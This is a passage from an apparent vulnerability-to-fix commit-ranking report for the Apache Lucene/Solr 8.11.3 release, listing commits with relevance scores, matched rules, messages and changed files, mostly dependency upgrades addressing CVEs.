    • + + lucene/ivy-versions.properties + + lucene/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1 + + lucene/licenses/jetty-http-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-http-9.4.53.v20231009.jar.sha1 + + lucene/licenses/jetty-io-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-io-9.4.53.v20231009.jar.sha1 + + lucene/licenses/jetty-server-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-server-9.4.53.v20231009.jar.sha1 + + lucene/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1 + + lucene/licenses/jetty-util-9.4.48.v20220622.jar.sha1 + + lucene/licenses/jetty-util-9.4.53.v20231009.jar.sha1 + + solr/licenses/http2-client-9.4.48.v20220622.jar.sha1 + + solr/licenses/http2-client-9.4.53.v20231009.jar.sha1 + + solr/licenses/http2-common-9.4.48.v20220622.jar.sha1 + + solr/licenses/http2-common-9.4.53.v20231009.jar.sha1 + + solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1 + + solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1 + + solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1 + + solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1 + + solr/licenses/http2-server-9.4.48.v20220622.jar.sha1 + + solr/licenses/http2-server-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1 + + solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1 + + solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1 + + solr/licenses/start.jar.sha1 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade dependencies to address more CVEs (#2681) Upgrade the... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 18 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3cf0a5501084c9e3d0e53657a20477007f33755a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1, solr/licenses/hadoop-common-3.2.2.jar.sha1, solr/licenses/netty-handler-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1, solr/licenses/netty-buffer-4.1.99.Final.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-databind-2.15.2.jar.sha1, solr/licenses/hadoop-minicluster-3.2.4.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-core-2.15.2.jar.sha1, solr/licenses/calcite-core-1.35.0.jar.sha1, solr/licenses/hadoop-common-3.2.2-tests.jar.sha1, solr/licenses/jackson-annotations-2.15.2.jar.sha1, solr/licenses/hadoop-auth-3.2.4.jar.sha1, solr/licenses/hadoop-minikdc-3.2.2.jar.sha1, solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1, solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.87.Final.jar.sha1, solr/licenses/ant-1.8.2.jar.sha1, solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1, solr/licenses/hadoop-auth-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1, solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1, solr/licenses/netty-all-4.1.87.Final.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1, solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1, solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/netty-transport-4.1.99.Final.jar.sha1, solr/licenses/avatica-core-1.23.0.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/ant-1.10.14.jar.sha1, solr/licenses/avatica-core-1.22.0.jar.sha1, solr/licenses/hadoop-minikdc-3.2.4.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/junit4-ant-2.8.1.jar.sha1, solr/licenses/netty-common-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.87.Final.jar.sha1, solr/licenses/netty-resolver-4.1.99.Final.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1, solr/licenses/hadoop-annotations-3.2.4.jar.sha1, solr/licenses/junit4-ant-2.7.2.jar.sha1, solr/licenses/caffeine-2.9.2.jar.sha1, solr/licenses/woodstox-core-6.5.1.jar.sha1, solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1, solr/licenses/hadoop-common-3.2.4.jar.sha1, solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1, solr/licenses/netty-handler-4.1.99.Final.jar.sha1, solr/licenses/calcite-core-1.32.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1, solr/licenses/netty-all-4.1.99.Final.jar.sha1, solr/licenses/calcite-linq4j-1.35.0.jar.sha1, solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1, solr/licenses/netty-codec-4.1.87.Final.jar.sha1, solr/licenses/netty-buffer-4.1.87.Final.jar.sha1, solr/licenses/avatica-metrics-1.22.0.jar.sha1, solr/licenses/avatica-metrics-1.23.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1, solr/licenses/netty-codec-4.1.99.Final.jar.sha1, solr/licenses/caffeine-2.9.3.jar.sha1, solr/licenses/hadoop-minicluster-3.2.2.jar.sha1, solr/licenses/hadoop-common-3.2.4-tests.jar.sha1, solr/licenses/calcite-linq4j-1.32.0.jar.sha1, solr/licenses/netty-common-4.1.99.Final.jar.sha1, solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: address, upgrade
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version, handler, parameter
      +
    • + +
    • +
      The commit message references some github issue: 2681
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade dependencies to address more CVEs (#2681) Upgrade the following dependencies: |dependency|old|new| |-------------|---|---| |ant|1.8.2|1.10.14| |randomizedtesting|2.7.2|2.8.1| |calcite|1.32.0|1.35.0| |calcite avatica|1.22.0|1.23.0| |aws java sdk|1.12.42|1.12.565| |caffeine|2.9.2|2.9.3| |hadoop|3.2.2|3.2.4| |jackson|2.13.5|2.15.2| |netty|4.1.87|4.1.99| |woodstox-core|6.5.0|6.5.1|
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lucene/ivy-versions.properties + + lucene/licenses/ant-1.10.14.jar.sha1 + + lucene/licenses/ant-1.8.2.jar.sha1 + + lucene/licenses/randomizedtesting-runner-2.7.2.jar.sha1 + + lucene/licenses/randomizedtesting-runner-2.8.1.jar.sha1 + + solr/licenses/ant-1.10.14.jar.sha1 + + solr/licenses/ant-1.8.2.jar.sha1 + + solr/licenses/avatica-core-1.22.0.jar.sha1 + + solr/licenses/avatica-core-1.23.0.jar.sha1 + + solr/licenses/avatica-metrics-1.22.0.jar.sha1 + + solr/licenses/avatica-metrics-1.23.0.jar.sha1 + + solr/licenses/aws-java-sdk-core-1.12.42.jar.sha1 + + solr/licenses/aws-java-sdk-core-1.12.565.jar.sha1 + + solr/licenses/aws-java-sdk-s3-1.12.42.jar.sha1 + + solr/licenses/aws-java-sdk-s3-1.12.565.jar.sha1 + + solr/licenses/caffeine-2.9.2.jar.sha1 + + solr/licenses/caffeine-2.9.3.jar.sha1 + + solr/licenses/calcite-core-1.32.0.jar.sha1 + + solr/licenses/calcite-core-1.35.0.jar.sha1 + + solr/licenses/calcite-linq4j-1.32.0.jar.sha1 + + solr/licenses/calcite-linq4j-1.35.0.jar.sha1 + + solr/licenses/hadoop-annotations-3.2.2.jar.sha1 + + solr/licenses/hadoop-annotations-3.2.4.jar.sha1 + + solr/licenses/hadoop-auth-3.2.2.jar.sha1 + + solr/licenses/hadoop-auth-3.2.4.jar.sha1 + + solr/licenses/hadoop-common-3.2.2-tests.jar.sha1 + + solr/licenses/hadoop-common-3.2.2.jar.sha1 + + solr/licenses/hadoop-common-3.2.4-tests.jar.sha1 + + solr/licenses/hadoop-common-3.2.4.jar.sha1 + + solr/licenses/hadoop-hdfs-3.2.2-tests.jar.sha1 + + solr/licenses/hadoop-hdfs-3.2.2.jar.sha1 + + solr/licenses/hadoop-hdfs-3.2.4-tests.jar.sha1 + + solr/licenses/hadoop-hdfs-3.2.4.jar.sha1 + + solr/licenses/hadoop-hdfs-client-3.2.2.jar.sha1 + + solr/licenses/hadoop-hdfs-client-3.2.4.jar.sha1 + + solr/licenses/hadoop-minicluster-3.2.2.jar.sha1 + + solr/licenses/hadoop-minicluster-3.2.4.jar.sha1 + + solr/licenses/hadoop-minikdc-3.2.2.jar.sha1 + + solr/licenses/hadoop-minikdc-3.2.4.jar.sha1 + + solr/licenses/jackson-annotations-2.13.5.jar.sha1 + + solr/licenses/jackson-annotations-2.15.2.jar.sha1 + + solr/licenses/jackson-core-2.13.5.jar.sha1 + + solr/licenses/jackson-core-2.15.2.jar.sha1 + + solr/licenses/jackson-databind-2.13.5.jar.sha1 + + solr/licenses/jackson-databind-2.15.2.jar.sha1 + + solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1 + + solr/licenses/jackson-dataformat-smile-2.15.2.jar.sha1 + + solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1 + + solr/licenses/jackson-dataformat-xml-2.15.2.jar.sha1 + + solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1 + + solr/licenses/jackson-datatype-jdk8-2.15.2.jar.sha1 + + solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1 + + solr/licenses/jackson-datatype-jsr310-2.15.2.jar.sha1 + + solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1 + + solr/licenses/jackson-module-jaxb-annotations-2.15.2.jar.sha1 + + solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1 + + solr/licenses/jackson-module-parameter-names-2.15.2.jar.sha1 + + solr/licenses/junit4-ant-2.7.2.jar.sha1 + + solr/licenses/junit4-ant-2.8.1.jar.sha1 + + solr/licenses/netty-all-4.1.87.Final.jar.sha1 + + solr/licenses/netty-all-4.1.99.Final.jar.sha1 + + solr/licenses/netty-buffer-4.1.87.Final.jar.sha1 + + solr/licenses/netty-buffer-4.1.99.Final.jar.sha1 + + solr/licenses/netty-codec-4.1.87.Final.jar.sha1 + + solr/licenses/netty-codec-4.1.99.Final.jar.sha1 + + solr/licenses/netty-common-4.1.87.Final.jar.sha1 + + solr/licenses/netty-common-4.1.99.Final.jar.sha1 + + solr/licenses/netty-handler-4.1.87.Final.jar.sha1 + + solr/licenses/netty-handler-4.1.99.Final.jar.sha1 + + solr/licenses/netty-resolver-4.1.87.Final.jar.sha1 + + solr/licenses/netty-resolver-4.1.99.Final.jar.sha1 + + solr/licenses/netty-transport-4.1.87.Final.jar.sha1 + + solr/licenses/netty-transport-4.1.99.Final.jar.sha1 + + solr/licenses/netty-transport-native-epoll-4.1.87.Final.jar.sha1 + + solr/licenses/netty-transport-native-epoll-4.1.99.Final.jar.sha1 + + solr/licenses/netty-transport-native-unix-common-4.1.87.Final.jar.sha1 + + solr/licenses/netty-transport-native-unix-common-4.1.99.Final.jar.sha1 + + solr/licenses/randomizedtesting-runner-2.7.2.jar.sha1 + + solr/licenses/randomizedtesting-runner-2.8.1.jar.sha1 + + solr/licenses/woodstox-core-6.5.0.jar.sha1 + + solr/licenses/woodstox-core-6.5.1.jar.sha1 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Some PRS fixes ported (addressing test failures with PRS) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 16 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + a442489af3c665e1d87c38bef1b5864dd48129a7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: address
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: handler, provide
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Some PRS fixes ported (addressing test failures with PRS)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/cloud/api/collections/OverseerCollectionMessageHandler.java + + solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SimClusterStateProvider.java + + solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java + + solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 16 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_CODE + + CHANGES_RELEVANT_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 962c926010635356ea778374e1fad5e40f0b46be +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit modifies code containing relevant filename or methods: This, SolrCloud, Solr
      +
    • + +
    • +
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/java/org/apache/solr/cloud/ZkController.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java, solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java, solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Miscellaneous PRS fixes, backported from 9.x Co-authored-by: Noble Paul <noble@apache.org>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/core/src/java/org/apache/solr/cloud/ShardLeaderElectionContextBase.java + + solr/core/src/java/org/apache/solr/cloud/ZkController.java + + solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java + + solr/core/src/java/org/apache/solr/cloud/overseer/ReplicaMutator.java + + solr/core/src/java/org/apache/solr/cloud/overseer/SliceMutator.java + + solr/core/src/java/org/apache/solr/cloud/overseer/ZkWriteCommand.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade dependencies to address outstanding CVEs... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 16 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 32b6d4cebb9644318de6c542c0fb2e2dbf070f00 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/licenses/guava-31.1-jre.jar.sha1, solr/licenses/google-oauth-client-1.32.1.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1, solr/licenses/jackson-databind-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1, solr/licenses/snappy-java-1.1.7.6.jar.sha1, solr/licenses/protobuf-java-util-3.11.0.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1, solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1, solr/licenses/google-oauth-client-1.33.3.jar.sha1, solr/licenses/jackson-core-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1, solr/licenses/jackson-core-2.13.3.jar.sha1, solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1, solr/licenses/guava-32.1.3-jre.jar.sha1, solr/licenses/snappy-java-1.1.10.1.jar.sha1, solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1, solr/licenses/woodstox-core-6.2.4.jar.sha1, solr/licenses/protobuf-java-3.11.0.jar.sha1, solr/licenses/protobuf-java-util-3.15.0.jar.sha1, solr/licenses/jackson-annotations-2.13.3.jar.sha1, solr/licenses/protobuf-java-3.15.0.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1, solr/licenses/jackson-databind-2.13.3.jar.sha1, solr/licenses/hsqldb-2.4.0.jar.sha1, solr/licenses/jackson-annotations-2.13.5.jar.sha1, solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1, solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1, solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: address, upgrade
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version, parameter
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade dependencies to address outstanding CVEs google-oauth-client 1.32.1 -> 1.32.3 guava 31.1 -> 32.1.3 hsqldb 2.4.0 -> 2.7.1 jackson-* 2.13.3 -> 2.13.5 protobuf-java 3.11.0 -> 3.15.0 protobuf-java-util 3.11.0 -> 3.15.0 snappy-java 1.1.7.6 -> 1.1.10.1 woodstox-core 6.2.4 -> 6.4.0 Co-authored-by: Jamie Jackson <jamiejaxon@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lucene/ivy-versions.properties + + solr/licenses/google-oauth-client-1.32.1.jar.sha1 + + solr/licenses/google-oauth-client-1.33.3.jar.sha1 + + solr/licenses/guava-31.1-jre.jar.sha1 + + solr/licenses/guava-32.1.3-jre.jar.sha1 + + solr/licenses/hsqldb-2.4.0.jar.sha1 + + solr/licenses/hsqldb-2.7.1.jar.sha1 + + solr/licenses/jackson-annotations-2.13.3.jar.sha1 + + solr/licenses/jackson-annotations-2.13.5.jar.sha1 + + solr/licenses/jackson-core-2.13.3.jar.sha1 + + solr/licenses/jackson-core-2.13.5.jar.sha1 + + solr/licenses/jackson-databind-2.13.3.jar.sha1 + + solr/licenses/jackson-databind-2.13.5.jar.sha1 + + solr/licenses/jackson-dataformat-smile-2.13.3.jar.sha1 + + solr/licenses/jackson-dataformat-smile-2.13.5.jar.sha1 + + solr/licenses/jackson-dataformat-xml-2.13.3.jar.sha1 + + solr/licenses/jackson-dataformat-xml-2.13.5.jar.sha1 + + solr/licenses/jackson-datatype-jdk8-2.13.3.jar.sha1 + + solr/licenses/jackson-datatype-jdk8-2.13.5.jar.sha1 + + solr/licenses/jackson-datatype-jsr310-2.13.3.jar.sha1 + + solr/licenses/jackson-datatype-jsr310-2.13.5.jar.sha1 + + solr/licenses/jackson-module-jaxb-annotations-2.13.3.jar.sha1 + + solr/licenses/jackson-module-jaxb-annotations-2.13.5.jar.sha1 + + solr/licenses/jackson-module-parameter-names-2.13.3.jar.sha1 + + solr/licenses/jackson-module-parameter-names-2.13.5.jar.sha1 + + solr/licenses/protobuf-java-3.11.0.jar.sha1 + + solr/licenses/protobuf-java-3.15.0.jar.sha1 + + solr/licenses/protobuf-java-util-3.11.0.jar.sha1 + + solr/licenses/protobuf-java-util-3.15.0.jar.sha1 + + solr/licenses/snappy-java-1.1.10.1.jar.sha1 + + solr/licenses/snappy-java-1.1.7.6.jar.sha1 + + solr/licenses/woodstox-core-6.2.4.jar.sha1 + + solr/licenses/woodstox-core-6.4.0.jar.sha1 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Use refid in jetty.xml for RewriteHandler + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 16 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9cd588e028a2fed65b18e8318394222801ce6d9b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/server/etc/jetty.xml
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: handler
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: server
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Use refid in jetty.xml for RewriteHandler
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/server/etc/jetty.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + SOLR-16452 : do not update PRS state if the local version is newer + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 14 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_MSG + + BUG_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 69b9aed4cd1e7544d5c25b476e1cff1d19b2b2c2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java
      +
    • + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      The commit message references some bug tracking ticket: SOLR-16452
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      SOLR-16452 : do not update PRS state if the local version is newer
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java + + solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4bf6befc32b49fdb2415f25b8159110bbdd4c63f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/licenses/hsqldb-2.5.2.jar.sha1, solr/licenses/hsqldb-2.7.1.jar.sha1
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Downgrading hsqldb to 2.5.2, since 2.7.x isn't supported by JDK8
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lucene/ivy-versions.properties + + solr/licenses/hsqldb-2.5.2.jar.sha1 + + solr/licenses/hsqldb-2.7.1.jar.sha1 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrading woodstox-core to 6.5.0 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 12 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6beb070b12c0f4bd286b5f5c8d12475e37a708fa +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: solr/licenses/woodstox-core-6.4.0.jar.sha1, solr/licenses/woodstox-core-6.5.0.jar.sha1
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Upgrading woodstox-core to 6.5.0
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + lucene/ivy-versions.properties + + solr/licenses/woodstox-core-6.4.0.jar.sha1 + + solr/licenses/woodstox-core-6.5.0.jar.sha1 + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Adding DOAP for previous release (8.11.2) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 8 +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + + + + CHANGES_RELEVANT_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5d91111da7de26583346772e65d13ac3a5551da6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit changes some relevant files: dev-tools/doap/solr.rdf
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Adding DOAP for previous release (8.11.2)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dev-tools/doap/lucene.rdf + + dev-tools/doap/solr.rdf + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Changing releaseWizard's England reference to UK + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: releases/lucene-solr/8.11.3 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + c61a410206a004b212b3a2ba681e32dd84e4f94f +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Changing releaseWizard's England reference to UK
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + dev-tools/scripts/releaseWizard.py + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
